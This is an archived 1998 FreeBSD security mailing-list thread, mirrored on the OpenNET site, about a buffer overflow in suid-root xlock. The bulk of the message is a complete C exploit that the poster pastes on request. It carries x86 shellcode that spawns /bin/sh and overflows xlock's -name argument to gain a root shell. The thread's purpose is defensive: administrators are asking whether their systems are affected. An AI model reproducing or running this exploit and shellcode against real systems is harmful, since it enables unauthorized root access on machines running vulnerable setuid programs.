The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

xlock


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 29 Jun 1998 10:17:18 +0200
From: Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE>
To: Thomas Gellekum <tg@ihf.rwth-aachen.de>
Subject: Re: xlock
Cc: Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE>,
 freebsd-security@FreeBSD.ORG

On Mon, Jun 29, 1998 at 09:29:47AM +0200, Thomas Gellekum wrote:
> Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE> writes:
> 
> > On Mon, Jun 29, 1998 at 08:58:02AM +0200, Thomas Gellekum wrote:
> > > Christoph Kukulies <kuku@gilberto.physik.RWTH-Aachen.DE> writes:
> > > 
> > > > Alarmed by recent buffer overflow attacks on Linux machines in
> > > > my vicinity (an exploit for this is available) I thought about
> > > > xlock under FreeBSD and would like to know whether the
> > > > security hole has been sorted out under FreeBSD 2.2.x or what
> > > > measures are advised to prevent it.
> > > 
> > > Could you tell more about this?
> > 
> >  /* x86 XLOCK overflow exploit
> >       by cesaro@0wned.org 4/17/97
> > 
> >       Original exploit framework - lpr exploit
> > 
> >       Usage: make xlock-exploit
> >              xlock-exploit  <optional_offset>
> > 
> >       Assumptions: xlock is suid root, and installed in /usr/X11/bin
> >   */
> > 
> > [complete xploit can be sent on demand]

OK, here goes: (This is for Linux 2.x, xlock path and code on stack
                may vary for FreeBSD if applicable).

--8<----------------------------------------------------------------------
/*   x86 XLOCK overflow exploit
     by cesaro@0wned.org 4/17/97

     Original exploit framework - lpr exploit

     Usage: make xlock-exploit
            xlock-exploit  <optional_offset>

     Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             996

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

int main(int argc, char *argv[])
{
   char *buff = NULL;

   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int dfltOFFSET = DEFAULT_OFFSET;

   u_char execshell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                          "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                          "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                          "\xd7\xff\xff\xff/bin/sh";
  int i;

   if (argc > 1)
      dfltOFFSET = atoi(argv[1]);
   else printf("You can specify another offset as a parameter if you 
need...\n");

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + dfltOFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}
--8<----------------------------------------------------------------------

> 
> Please do. Desmond Bagley, the maintainer of xlockmore mentioned a
> security hole in Mesa with suid binaries. I don't know if it's the
> same problem.
> 
> tg

-- 
Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe security" in the body of the message

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList